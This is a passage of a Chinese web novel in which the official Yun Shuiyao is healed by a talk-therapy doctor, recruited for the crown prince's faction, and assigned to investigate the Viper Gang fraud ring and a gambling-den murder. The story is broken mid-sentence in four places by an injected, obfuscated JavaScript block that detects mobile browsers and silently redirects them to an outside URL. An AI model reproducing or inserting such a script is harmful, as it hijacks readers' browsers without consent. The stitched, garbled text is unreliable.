云水谣犹豫了一下,道:“确实如此。有时候,我在想,如果皇上让我做的是一个清闲的职位,每天只需要看看书,写写字就好了。有时候,我会想为什么是我背负了全家的命运,我只能前进,不能后退或者停下……有时候我会羡慕自己手底下的那些小吏,他们只需要完成上司交代的任务就好,不需要操心太多。” 云水谣觉得很奇怪,明明她跟杜羽不算很熟,但是在杜羽面前,她毫无保留地敞开心扉,说出了内心深处真实的想法。 在人前,她要维持自己作为官员的尊严,不能流露出软弱的一面。尤其是她身为女官,本就比男人做官要困难些,所以必须过度地冷静、坚毅。 可是只有她自己知道,她内心储存了很多脆弱、犹豫、不甘、疲惫。她虽然穿着官服,可她终究是个十几岁的女孩。 但到了官场,没人会把她当女孩看,她必须表现得符合官员的身份,才能被其他人所接纳。 但没想到,她内心的情绪被杜羽看出来了。 杜羽道:“别担心,你产生这些负面的情绪,是很正常的。官员也只是普通人,但要接触很多其他人接触不到的阴暗面,平时又难以排解,这些阴暗面储存在心里,都需要身体去消化。久而久之,身心俱疲、积劳成疾是正常的。 我十一岁就进军营了,当时军训太苦,我也总想逃离。当我看到军营里有人受伤或是死去,看到他们鲜血淋漓、缺胳膊少腿的身躯,也会有悲伤、恶心、害怕等种种情绪。但是我的长官让我自己消化,情绪不能外露,尤其是不能哭。他说我以后会成为将领,必须喜怒不形于色。 所以,我很能理解云大人的心情。你是女子,年纪也不大,但必须像男人那样处理各种突发事件,即便是血淋淋的凶案也要面对。你应该是情绪生了病,所以找普通大夫医治是没用的。” 云水谣问道:“情绪生病?是何意?” 杜羽道:“这是我自己自创的说法。人的身体是外在的,精神是内在的,两者同等重要。其实很多病,都是由于精神出了问题。我认识一个良医,善于治疗情绪病,只是他的疗法很特别。他不把脉,不开药,只是跟病人聊天。聊完之后,病人基本上都会有所好转。 但这种疗法不为杏林所接受,许多大夫都觉得他是异端,不认可他的大夫身份。且他收费很高,也很少有人有能力找他看病,所以他名声不显。不过,我以前找他看过几次病,觉得他很厉害。你若愿意,我带你去。” 云水谣也对那大夫起了好奇心,道:“好啊,那我要去。” 杜羽吩咐侍卫套好马车,让云水谣坐进去,自己在一边骑马带路。 云水谣本来也想骑马,但她身体无力,骑不了,坐马车确实更合适。在马车里,她也懒洋洋地倚靠着座位,坐在地板上,双腿微微弯曲,这个姿势舒适些。 几个时辰后,他们来到一片竹林中。这里有三间茅草屋,有个身材佝偻的老者正在用竹子编着什么东西。 杜羽扶着云水谣下车,对那老者笑道:“董先生,我带人来求医了。” 杜羽偷偷对云水谣道:“那位老先生便是我说的良医,他叫董灿。” 董大夫继续编着东西,说道:“不相信我的人,我可不医。” 杜羽道:“这位云姑娘既然肯跟我前来,自然是相信董老的医术的。” 董大夫编好了,编的是一个果盘,十分精巧。 他把这果盘送给云水 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14777457|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谣,道:“姑娘,这个送你了。” 云水谣惊喜道:“谢谢董大夫。” “病人跟我进来吧,其他人在外面等候。” 于是,云水谣便跟着董大夫进了一间茅草屋。这屋子窗户开着,他们就坐在窗前,外面的人也能看到里面的情况。 云水谣往窗外一看,见杜羽远远地坐在一棵树下,翻阅着一卷书。这个距离,他能见到云水谣,但却听不见云水谣和大夫说话的声音,可以说很体贴了。 董大夫此时十分和蔼地问道:“姑娘,最近遇到了什么不开心的事,都可以说。” 云水谣已经知道他诊病的方式就是聊天,且他看着很慈祥,云水谣也就将自己心里的烦恼一股脑地都说出来了。 董大夫很耐心地倾听,时不时地开解她几句。 云水谣说着说着,竟发现一些以前被自己忽略的小事,其实也给自己造成了负面情绪。只是她有太多的正事要办,无暇理会那些情绪。但那些负面情绪并未消失,只是被掩盖起来了。 云水谣聊了许久,竟到了黄昏时分。董大夫果真不把脉,也不开药,只是适时地安慰她,或是肯定她、夸赞她,总之他说的每一句话都恰到好处,让云水谣的精神得到极大的放松,整个人都产生一种轻快的感觉。 直到她没什么要说的,站起身来,发现自己之前的症状都消失了,现在身体很好,她甚至想要跑跳。 她笑着对董大夫道:“您真神了!” 董大夫呵呵一笑:“我不是神人,只是善于治疗情绪病而已。云大人有空时,可以多去山川树林中走走,有助于心情恢复。” “嗯,我记下了。” 刚才云水谣要详细说自己的烦恼,自然没法隐藏身份,因为有很多烦恼是成为女官后才有的。她跟董大夫说明了自己的身份,因此董大夫才称呼她为云大人。 云水谣道:“诊金是多少?” 董大夫道:“杜羽方才已经付过了。” 云水谣心中暗暗感激,朝杜羽看去,谁知杜羽也正在看她。两人目光交汇,仿佛灵魂贴近了,云水谣赶紧挪开目光。 这时,董大夫说道:“其实云大人的很多烦恼,老朽有办法解决。” 云水谣问道:“您的意思是,多找您治疗几次吗?” “非也。聊天只能舒缓情绪,但现实中的一些问题,并非医术能解决的。如果云大人愿意,老朽带您去见一个人,相信他能解决您的烦恼。” “去见谁?” “我的主人。他近日刚好在这里。” 云水谣十分惊讶:“您还有主人?” “是的。说是主人也不恰当,我们都受他恩惠,所以自愿为他做事。称他主人,只是方便称呼而已。” “听您话中之意,为他做事的人还不少?” “正是。” 董大夫刚才说,“我们都受他恩惠,所以自愿为他做事”,“我们”所指代的,应该是一群人。 云水谣问道:“要走很远吗?容我向杜长史说一声。” 120.投诚 “不远,就在左近。我去向杜长史说明就行。” 董大夫朝杜羽走去,跟他说了几句话,杜羽点头,朝云水谣看来。 接着,董大夫便走回云水谣身边,道:“可以了,跟老朽走吧。” 董大夫带云水谣走过一条弯曲的小径,来到一间雅致的竹屋。竹屋里,有一青衫男子躺在竹椅上,似乎在闭目养神。 云水谣闻到他身上淡淡的竹香,十分清幽,对他有几分好奇。但他背对着云水谣,云水谣也不好唐突地走上前去。 只听董大夫对那青衫男子说道:“公子,我为您带来一人,她是雍州司马云水谣,是位女官。” 那青衫男子听了云水谣的名字,骤然站起身来,转过身躯。 云水谣还有些奇怪,这男子看着不像是如此不稳重的性子,怎么会突然举动冒失。 及至看清了他的模样,云水谣才明白他为何如此激动。 云水谣叫道:“安公子?” 安正则微笑道:“云大人,我们又见面了。” 安正则仍是用白绢蒙着双眼,看起来清瘦如竹,让人见而生怜。 董大夫说道:“原来公子认识她,那就不用我过多介绍了。” 安正则点头:“董老,您先下去吧,我跟云大人单独聊聊。” “好。” 董大夫退了出去。门有两扇,他只关了一扇,留着另一扇通风。这也证明他们行事光明正大,没什么见不得人的。 安正则对云水谣道:“云大人,你若要喝茶,桌上便有,可以自己倒。我看不见,没法照顾你了。” 云水谣忙道:“我自己来就行。” 桌上摆着几个青玉茶杯,晶莹剔透,玉质润泽。云水谣纵然不渴,也被这茶杯吸引了,便倒了两杯茶,自己喝一杯,另一杯递给安正则。 安正则一边品茶,一边说道:“屋中有凳子,云大人可以选一个喜欢的坐下。” 屋中的凳子都是用竹子编成,形态各异,每一个都很漂亮。 云水谣选了个方形文竹凳坐下,问道:“这些竹椅、竹桌都是董大夫做的吗?” “没错。” “不知董大夫为何带我来见公子?他似乎不知道我们相识?” 安正则道:“是我让董大夫他们帮我寻找合适的人才,若见到了,可以直接带来找我。今日他为你治病,可能察觉到你有才能,但心中也有求而不得之事,是我想找的那种人,因此才带你前来。” 安正则这话说的有几分奇怪,不过云水谣联想到他的身份和遭遇,不难猜出他的意思。 因此,云水谣问道:“安公子可是在为太子殿下寻访人才?” 安正则道:“正是。这些年,福王窥伺东宫,还有各路藩王蠢蠢欲动,太子的处境愈发艰难。太子身边的人被除去了许多,需要新的人才为东宫效力。我双目已盲,没法担任重要职位,太子便私下托我寻访人才。 云大人是女官,想必在官场中举步维艰,以后也很难继续升迁。不如择良枝而栖,为太子殿下效力,太子殿下定会投桃报李,让云大人心愿得偿。 云大人也无需担忧,太子仁厚善良,不会让你做一些有违道德、有违律法之事,只需要你坚定地站在他这一边,若有人要害他时,你能帮上忙就可以了。 据我所知,云大人的家人被流放,让他们回来的条件是您成为女相。而您如果完全依靠自己,只怕是没什么可能的。云大人可以仔细考虑一下。” 云水谣的心怦怦直跳。 太子有意招揽自己,自己要不要应下呢? 成为太子一党,意味着跟太子荣辱与共。太子若能登基,自然会论功行赏。但若是太子倒台,为太子效力之人必会受到清算。 可以说,这条路,不成功,便成仁。 云水谣如果答应,升迁之路也许会顺畅些。而且,她也无需谋算婚姻来达到目的。 如果不为太子效力,她想要往上升,只怕只有联姻一条路。但她又不愿意让自己的婚姻掺杂其他目的。 思来想去,她很难决断。 安正则微笑道:“云大人不必急着做决定,如果想好了,来找董大夫即可。若是不愿,也不勉强。今日之事,不会有旁人知道。” 云水谣行了个礼:“多谢安公子美意,我还需考虑几日。只是,我还有个问题。” “什么问题?” “杜羽和孟荀他们……是不是也在为太子殿下效力?” 安正则道:“他们只是比较亲近太子,但效力谈不上。以他们的身份,不需要成为别人的党羽。他们和背后的家族亲近太子,也是因为太子的行事得到了他们的认可。太子以仁德服众,而非以权势压人。 只是,朝堂之上,光有仁德是不够的,还得有手段,有可用之人。因此,这些年我为太子收拢了董大夫等人才。云大人若愿意,也可以成为他们中的一员。” 云水谣道:“十日之内,我必有答复。” “请自便。我让人送你出去。” 他吹响了手边的竹笛,有四名暗卫飞身进来,朝安正则跪下。 安正则道:“你们送云大人出去,送到杜羽将军身边便可。” “是。” 云水谣原路返回,四名暗卫在暗处保护着她,并不出现在她面前。 没走多久,就见到了杜羽。 杜羽问道:“今日感觉如何?” 云水谣道:“董大夫果真厉害,我跟他聊完之后,觉得身体好多了。” 云水谣想跟杜羽聊一下刚才的事,又不知道怎么开口。 眼看着就要走回马车了,一旦进了马车,有丫环在场,云水谣要说什么就不方便了。 因此,她停了下来。 杜羽问道:“怎么了?” 云水谣道:“杜长史是特意带我来见董大夫的吗?” 她这话问得奇怪,本就是因为她身体不好,所以杜羽才带她来求医的。 但她问的是第二层意思:杜羽是不是事先知道董大夫是太子一党的人,所以特意带云水谣前来,好让安正则招揽云水谣。 杜羽听出她的意思,解释道:“我以前只知道董大夫是个良医,却不知他是安正则的人。刚才董大夫来跟我说,他家主人想见你一面,并出示了安正则的信 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14781796|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 物,我才知道他口中的主人是安正则。董大夫没有细说安正则找你做什么,但我也猜到了。 我并未阻止这场会面,是因为我想让你自己选择要走的路。你在朝为官,没有可以依靠的势力是很难的,除非你不打算升官。但我知道云大人心怀大志,恐怕不能止于司马一职。 成为太子一党,固然凶险,但太子也能助你实现理想。当然,你若是不愿,我也有办法护你周全,并在适当的时候帮你升迁。” 云水谣知道他说的方法是什么。大概就是嫁给他,然后他用杜家的势力帮云水谣升官,并让云水谣免受官场上的各种侵害。 这一点,元景佑也能做到。 无论选哪条路,其实都是依附于一股势力。依附太子,她算是单打独斗;依附于未来的夫君,便是通过婚姻获得一些好处。 相比之下,云水谣更倾向于靠自己。 因此,云水谣说道:“若太子果真是贤主,我辅佐他也算是两全其美。既让太子多了一个可用之人,也让我自己有了可依之势。” 杜羽表情凝重地看着她:“有些路一旦选择了,是回不了头的。连安正则这样的世家子弟,尚且被人谋算了一双眼睛。若是你依附于太子,不知会经历多少凶险。” “我明白。我会再仔细考虑。” 云水谣淡淡一笑,朝马车走去。 杜羽看着她的背影,面含担忧。但他也看出,云水谣看似柔弱,但心智坚定,不会被别人所控制,也不会接受别人去安排她的人生。 自己心中有一些隐秘的愿望,但此时不是明说的时机。云水谣有自己的路要走,在她救出她的家人之前,还是不要去扰乱她的意志为好。 反正云水谣就在自己的眼皮子底下,只要盯紧些,应该出不了岔子。 云水谣考虑了几天后,决定坚持自己之前的想法。不过,她得先了解一下太子的为人。 她搜集了一些太子以前写的策论,加以阅读。她发现,太子不仅文采斐然,而且对于治国之道很有想法,秉持的也是儒家仁爱之道,与云水谣心中的想法不谋而合。 而且,她暗中打听了太子以前办过的一些公务,也无一不是秉公执法,不畏强权,且智慧通达,并不会受小人蒙蔽。 那么,太子应当符合自己心中对主公的要求。 于是,云水谣再次去了董大夫那里,求见安正则。 董大夫见云水谣回来,十分高兴,马上带她去找安正则。 安正则仍住在之前那间竹屋中,云水谣表示了愿意为太子效劳之意,安正则十分惊喜,道:“太子若得云大人相助,如伯乐遇千里马。” 云水谣道:“不敢,以后还要请安公子多多指教。” 安正则问道:“不知云大人以后有何打算?若是将来救回了家人,或是有了不错的姻缘,是否还愿意继续做官?” 云水谣道:“自然会继续,我有今日的地位,来之不易,不会轻言放弃。且我心中也想创造一个海晏河清的盛世,让百姓过得更好,而非只在意自己的荣华富贵。” 安正则微笑道:“云大人有如此胸怀,正是我辈中人。” 121.骗钱 安正则给了云水谣一个橘色的香囊,道:“这个香囊里有两颗丹药,是用人参、灵芝等珍贵药材炮制而成,具有保命的功效,在危急时刻可以服用。另外,我会给你两名暗卫,他们就一直听你调度。” 说着,安正则吹响了竹笛,有两名中等身材的暗卫出现。他们长着一张大众脸,云水谣看了好几眼还是记不住他们的模样。这样的长相,正是做暗卫的好苗子。 安正则对他们说道:“甲风,乙木,你们以后就跟着云大人。” 两名暗卫道:“是。” 安正则向云水谣介绍:“这两名暗卫,武功高强自不必说。他们还另有特长,甲风能在水底下闭气一个时辰,且能在水下开目视物;乙木能模仿各种动物的叫声。” 云水谣有些惊喜,觉得乙木这个暗卫倒挺有用的。自己能听见动物说话,乙木刚好可以帮自己引来动物。那么,以后破案就更方便了。 安正则又拿出一个用绿玛瑙雕刻的负屃,道:“这是太子的信物,你且收下。太子的下属众多,彼此之间可能不认识。你若拿出这个信物,旁人便知你是自己人。这是用辉山绿玛瑙雕刻的,这种绿玛瑙只有皇帝和太子能使用,其他人难以仿制。” 云水谣点头,收下了这个小雕像。 负屃是传说中龙之九子之一,其外形接近于龙,雅好文学,在石碑上经常雕刻这种动物。 安正则道:“云大人若不忙,可留下吃午饭。董大夫做的素菜可称一绝。” 云水谣笑道:“董大夫还会做菜?” “对。因为很少有人找他治病,其他大夫还经常排挤他,他一气之下,把大部分心思都用来学做菜了,反倒学会了一手好厨艺。他十分聪明,还自创了很多菜式,外面吃不到。” “那我可要尝尝了。” 云水谣在屋中等着。她看见了桌上的青玉茶杯,便随手拿起来把玩。上次见到这些茶杯时,她便很是喜欢。 这时,安正则笑道:“你若喜欢那些茶杯,尽管拿走。” 云水谣好奇道:“安公子怎知我在看茶杯?” “我听见你走到桌子那边便停下了,还听见了你拿杯子的声音。” 看来,他自从眼盲之后,听力倒是好了不少。 云水谣忍不住关心他:“安公子这段时间过得如何?” “挺不错的。比起以前的忙碌,倒是现在比较安闲自在。” 云水谣没想到,他会这样回答。听说理国公府的爵位将来不会给安正则继承了,且皇帝以前有意撮合他和一位县主的婚事,现在也不提了,反而将那位县主另嫁他人。 安正则的父亲是理国公府的世子,将来爵位应该还是会传给他父亲,但他父亲应该会选择其他儿子来继承理国公府。 安正则本来担任太子府詹事,是正三品,若是没有眼盲,将来太子登基,他必能出将入相。但现在,他只能担任协律郎的闲职,将来在仕途上不会有什么进益。 但是,安正则似乎心态很好,并未因为大起大落而黯然神伤,反而尽己所能,继续为太子做事。 安正则道:“云大人似乎心情不好?” 云水谣道:“公子怎么知道?” 安正则道:“我眼盲之后,对外界的一切只能凭借感觉。我可以感知到身边人的心情。” “我只是为公子的遭遇而悲伤。” 安正则微笑道:“无需悲伤,离我远去的都是不重要的东西。无论如何,我生活还能自理,还有许多人照顾我,我这一生都会衣食无忧,还有什么好担心的呢?” 安正则说得云淡风轻,云水谣心中却肃然起敬。安正则曾经拥有非常煊赫的一切,可当他失去时,他的态度是淡然的,这种心态十分难得。 云水谣觉得,他的话帮助了自己。自从云家被抄家流放,她其实低落了很长一段时间。她怀念过去富贵的生活,害怕别人同情的目光,担忧自己未来的命运。 她的心一直不能安住于当下,患得患失,精神紧张。 可是跟安正则待在一起,她的心舒展了开来。在安正则身边,仿佛泛舟湖上,轻盈自在。 她忍不住想靠近安正则,但又觉得有些唐突,因此便只是偷偷看他几眼,反正安正则也感觉不到。 谁知,安正则微笑道:“我脸上有花吗?” 云水谣赶紧说道:“没有……安公子,你怎么知道我在看你?” “我能察觉到你的视线。” 这下,云水谣彻底老实了,眼观鼻,鼻观心,端坐不动。 安正则似乎发出一声轻笑,但云水谣不确定自己有没有听错。 过了一会,董大夫做好了饭,让几个小童端了过来。 董大夫竟做了三十多样菜,每一样都看不出原材料是什么,但见花花绿绿的,煞是好看,像是工艺品。 云水谣尝了尝,味道也很不错,沁香扑鼻。 云水谣问董大夫:“这些菜是如何做的?” 董大夫高深莫测地说道:“保密。下次还想吃时,只需来找我便是。” “好吧。” 吃完饭,云水谣想起之前天神教一案,还存在一些疑点,便跟安正则说了。 安正则道:“你是说,天神教还有漏网之鱼,便是话本先生秦婉君?” 云水谣道:“正是,但这只是我的推测。天神教的那些故事,其风格跟秦婉君的话本十分相近,字迹也是相同。” “秦婉君所写的戏剧,我也听过一些。想不到,她并非普通人。我也会暗中派人找她,她未必是天神教成员,但一定跟天神教隶属于同一个主子。” “我也是这么想的。另外,如果欧阳世杰真的是被冤枉的,天神教一案非但跟他无关,也跟福王无关,那是谁在栽赃他们?” 安正则摇头:“这我倒暂时猜不透。如今陛下有四位皇子,太子居长,三皇子瑞王一向与世无争,四皇子福王倒是有夺嫡之念,屡屡对太子出手。至于七皇子康王,是德妃所出,而德妃是太子殿下的亲姨母,故而康王与太子尤为亲厚。 如果天神教一案不是福王策划,倒不知幕后之人是谁。也许,是一些居心叵测的藩王,想借此案削弱福王,并引起福王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786095|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和太子的矛盾,他好渔翁得利。” 这个猜测,跟杜羽、云水谣之前的猜测相似。安正则也表示会再派人调查此案,但相关人员基本上都死完了,恐怕很难查出什么。 安正则继续说道:“眼下,你倒是有一个升迁的机会。幽州那边不太平,已经失踪了四位刺史,现在无人敢去做官。如果你敢去,太子殿下会暗中帮忙。” 云水谣有些心动,同时又有几分担忧:“幽州有四位刺史失踪?这是何故?” 安正则摇头:“我也不知道。幽州那边,可以说是风险与机遇并存。如果你能稳定幽州局势,立下功劳,将来继续升迁就不在话下了。我和太子会给你派一些暗卫,保护你的安全,但这并不保险。前几任幽州刺史也都有侍卫相随,但还是突然失踪了。如果你不怕危险,可以一试。” 云水谣觉得,富贵险中求,自己还年轻,去闯荡一番也未尝不可。而且如果不是幽州那边太过危险,刺史这样的职位,本来是有很多人争抢的,根本轮不到她。因此她便说道:“我愿意去,不怕危险。” 安正则点头:“云大人勇气可嘉,不过此事尚需时间筹备。你刚担任雍州司马不久,政绩不足,还需再立下几件功劳,太子才能为你谋划刺史之位。我这里刚好有一件大案,你若能办好,也是一大功劳。” 云水谣问道:“是什么案子?” “不知云大人可曾听闻过蝮蛇帮?” “蝮蛇帮?有所耳闻,似乎是一个专门骗钱的组织?具体情况,我不算了解。” “我带了跟蝮蛇帮有关的一些卷宗,正好跟雍州关联很大,你可以看看。” 安正则命人拿来一些卷宗,云水谣翻看之后,才明白是怎么回事。 蝮蛇帮是十几年前兴起的一个组织,专门找那些身怀巨额财产、却势单力孤的人,设法骗取钱财。 他们骗钱的方式多样,或是使用美人计,或是引诱别人赌博、去青楼喝花酒,或是骗人投资,许诺高额回报,但最后把别人的投资款都卷走。 他们很少使用绑架、杀人劫财等方式,因为这种方式太激进,也容易被官府盯上。而引诱人赌博、去奢华场所高消费等方式则要隐蔽得多,且苦主更加难以维权。 因为像赌钱、逛青楼、投资等行为,都是在自己清醒的状态下做的,要完全说是别人的责任,也不合理。而且蝮蛇帮骗了钱,自然就跑了,不可能等在原地让官府去抓。 蝮蛇帮骗钱的对象,要么是一些年纪小、没有近亲、却又继承了大额财产的少年人,要么是突然得到拆迁款的农民,要么是一些金盆洗手、不敢跟外界联系的江洋大盗。 这些人要么没经验,要么被骗了只能吃哑巴亏,所以蝮蛇帮这些年来一直风生水起。 他们并没有固定的行骗场所,而是在全国各地到处流窜。而各地联合办案的难度较大,且被骗钱的案子时有发生,有的是有组织的,有的是无组织的,官府也很难界定具体哪些案子是蝮蛇帮所为,所以这么多年来,蝮蛇帮一直逍遥法外。 而蝮蛇帮犯的第一起案子,就跟雍州有关。 122.卷款 十几年前,有三个外地的少年夏石、沈为安、秦度结伴来到雍州,开了家饭馆,看起来并不起眼。 其实,他们三个都身怀巨额财产,又怕被家乡的熟人谋夺家产,因此结伴来到雍州,低调度日。 这三人的父母都是朋友,关系很好,只是年轻时一直没有孩子。他们一起看名医,按照名医的方子调理,在五十岁左右时,都怀上了孩子。 夏石、沈为安、秦度便是他们的老来子,且都是独生子。 三家的父母都担心自己死后,孩子会守不住家产,因此嘱咐自己的孩子,无论何时何地,他们三个都要一起生活,有商有量,别轻易被人骗了。父母死后,任何亲戚熟人都不可相信,也不必来往,找个远一点的地方生活。 三个孩子便把父母的话牢记在心,三人从小便十分亲近,如同亲兄弟一般。 后来,夏家、沈家的父母相继过世,夏石、沈为安便一直跟着秦度的父母生活。秦家父母也保护夏、沈两家的财产不被其他人所夺。 没过多久,秦度的父母也过世了,三个孩子彻底失去了依靠。他们三人都才十四五岁,觉得留在本地不安全,因此便选了千里之外的雍州,作为他们的居所。 他们在雍州开了一家小饭馆后,又一起买下了附近的一栋别院。小饭馆和别院之间有地道打通。 平时他们在店里干活,假装住在店里,其实一到晚上,他们就会走地道回别院,尽情享乐。 除了他们带来的三名老仆外,无人知道他们的秘密。 而这三名老仆都很忠心,嘴也很严。 别院的其他下人都是买来的,且每隔一段时间就会卖掉,换一批新的。 别人都猜测那个别院里住的肯定是大财主,但无人知道别院的主人就是那三个开饭馆的少年。 他们都以为,这样做就能天衣无缝,但不知怎么的,还是被别有用心的人盯上了。 有个叫柳南正的生意人,结识了这三个少年,且取得了他们的信任,便教他们投资。 一开始,三个少年将信将疑,只出少量的钱投资。没想到,每次投资都有丰厚的回报,他们逐渐放下了戒心。 有一次,在柳南正舌灿莲花的宣传下,三位少年把大部分身家都给了柳南正,让他拿去投资,替自己挣钱。 柳南正拿到钱后就消失了,三个少年这才发现上当。他们去报官,可这样的案子非常多,他们并不特殊,无非是数额大了一点而已。 官府查了一段时间,没有眉目,也就淡了下来。毕竟官府要处理的事千头万绪,也不可能专门为这三个少年服务。 而这个案子传了出去,其他人都知道了这三个少年有钱,虽然被骗了一大部分,但瘦死的骆驼比马大,说不定他们手里还有一笔钱。 因此,街坊邻居、合作商家等人都跟这三个少年走动得勤了,要么去饭馆堵他们,要么去别院堵他们,今日来借钱,明日拉他们投资,后日又说自己有渠道可以追回他们的钱,不过他们要先付一笔劳务费。 这三个少年信了这些话,又被骗了几次,几乎到了山穷水尽的地步。 他们感觉自己愧对先人,又痛恨这个世道,竟在某天一起烧炭自尽了。 等三个老家仆发现他们的尸体时,为时已晚。老家仆只能把三个少爷安葬了,然后各自回乡。 三位少年临死之前留下遗书,详细写了被刘南正欺骗的经过、细节,以及柳南正的样貌等。 后来,又过了两年,柳南正卷入其他案子时落网,官府在他身上搜到一样奇怪的信物。经调查发现,这样信物属于一个叫蝮蛇帮的组织。 从此,蝮蛇帮才浮出水面。众人这才知晓,柳南正能轻而易举地骗到大额钱财,并非是他一个人的能力,而是背后的组织在出谋划策。 一旦蝮蛇帮盯上了谁,就会为那人精心编织一张网,让人无处逃脱。 这十几年来,蝮蛇帮的成员时有落网,但大部分人被抓之后都自尽了,剩下的一部分人要么不肯招供,受尽酷刑而死;要么一问三不知。因此,蝮蛇帮的核心成员一直未曾落网,官府也不知道这蝮蛇帮究竟是何人在操控。 看了这些卷宗后,云水谣道:“十几年前的旧案,恐怕没多少线索了。” 安正则道:“蝮蛇帮一直在犯案,光是今年,在雍州就有两三起。你可以不用查旧案,只查新案便是,新案的线索会多一些。” “是。” “蝮蛇帮为祸多年,不知害了多少人。若能一举歼灭,一来可安抚民心,二来能找到他们储存的财富,便可拿出一部分来还给苦主。若是苦主已亡,便可充入国库。如今国库空虚,若能得到蝮蛇帮的财富,无疑是大有裨益,许多因缺钱而停滞的工程也可以继续进行。到时候云大人厥功至伟,太子顺势提出让你去当幽州刺史,就顺理成章了。” 云水谣点头道:“是,下官一定竭尽全力。” “不过,蝮蛇帮的首脑十分狡猾,这么多年都未曾露了行藏,实在抓不到大鱼就算了。能剪除其羽翼,也是不小的功劳,不必太过勉强。” “是。” 安正则把这些卷宗暂时交给云水谣,以作参考。等蝮蛇帮的案子查完,再交还给安正则。 他带来的卷宗是大理寺的,是太子凭借自己的身份去大理寺借来的,也不能借太久,以三个月为期。 三个月后,不论查得如何,这些卷宗都需要归还。 云水谣回了州衙,询问小吏,最近是否有蝮蛇帮的案子。 有个小吏道:“今年的案件里,确定是蝮蛇帮犯下的有两起,其余的暂时不能确定。因为之前有更紧急的公务,蝮蛇帮的案子还未交给长官们看。” “有哪两起?把卷宗拿给我看看吧。” 小吏便把卷宗拿了过来。 第一起案子,是鸿运赌坊杀人案。 雍州境内有个白土村,因官府征用了他们村的房屋和土地,给了村民们一些拆迁补偿款。村民们按人头获得了几百两到数千两不等。 暴富的村民们染上了赌钱的恶习,经常去附近的鸿运赌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14790212|147310||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坊赌钱。 一开始,大家都是输赢掺半。但是渐渐的,有个叫黄四牛的村民手气特别好,从来没输过,把乡亲们的大部分钱都赢了过去。 其他村民不信邪,拿出以前积攒的钱,继续跟黄四牛赌,结果也输了。 这下,村民们不仅没了拆迁款,连以前的存款都输光了,灰心丧气的。有几个村民觉得,黄四牛跟自己是乡亲,如果去求他,让他把钱还回来,说不定他会答应。 如果黄四牛不肯,他们打算威逼。于是,这几个胆大的村民结起伙来,带上镰刀、斧头等凶器,去找黄四牛。 黄四牛从赌坊出来后,没去存钱,反而去了郊外。他四下张望,好像在找什么人。 几个村民上前,打算跟黄四牛搭话,谁知黄四牛却突然狂躁起来,攻击那几个村民。 那几个村民还未说明来意,黄四牛怎么会主动攻击?当下来不及多想,几个村民只好跟黄四牛打斗起来。 一开始,他们没打算伤害黄四牛。因为黄四牛手上没有武器,村民们还收着力气,怕真的砍伤他。 可黄四牛大喊大叫,状若疯癫,也像是完全不认识这几个乡亲了。无论几个村民如何解释,说自己没有恶意,只是来找他帮忙种田什么的,黄四牛好像都听不懂,像个野兽一样攻击他们。 后来村民们为了自保,只好拿武器往黄四牛身上招呼。谁知一来二去的,黄四牛竟被砍死了。 这下那几个村民们慌了,扔下武器就想逃跑。有个年长的村民提议先搜搜黄四牛的身,把他赢的钱拿走再说。 谁知,他们把黄四牛全身都搜遍了,也没发现银票和银子。 明明半个时辰前在赌坊,村民们还亲眼看见黄四牛把很多银票往怀里揣的。 村民们没找到钱,也只能算了,先处理黄四牛的尸体再说。 他们将黄四牛的身体绑上石头,沉入河里。 然后他们在河边把自己的武器洗干净,各自拿回家,约定今天的事保密。 他们拿的武器都是农具,如果没拿回家,难免会被人发现。 谁知第二天,有人在河里用渔网捕鱼,竟把黄四牛的尸体捞了上来,案子才东窗事发。 县令询问了黄四牛昨日的行踪,有目击者说看见几个村民尾随他,县令便将村民们抓来询问,终于问出了事情始末。 此案看起来很简单,就是几个村民赌钱输了,恼羞成怒,杀了赢钱的黄四牛,拿走了钱。 可那几个涉事村民大呼冤枉,说他们一开始没想杀人,拿着武器也只是想吓唬吓唬黄四牛,是黄四牛先不分青红皂白攻击的。而且,他们虽然误杀黄四牛,但黄四牛身上并无钱财,他们没有拿走钱。 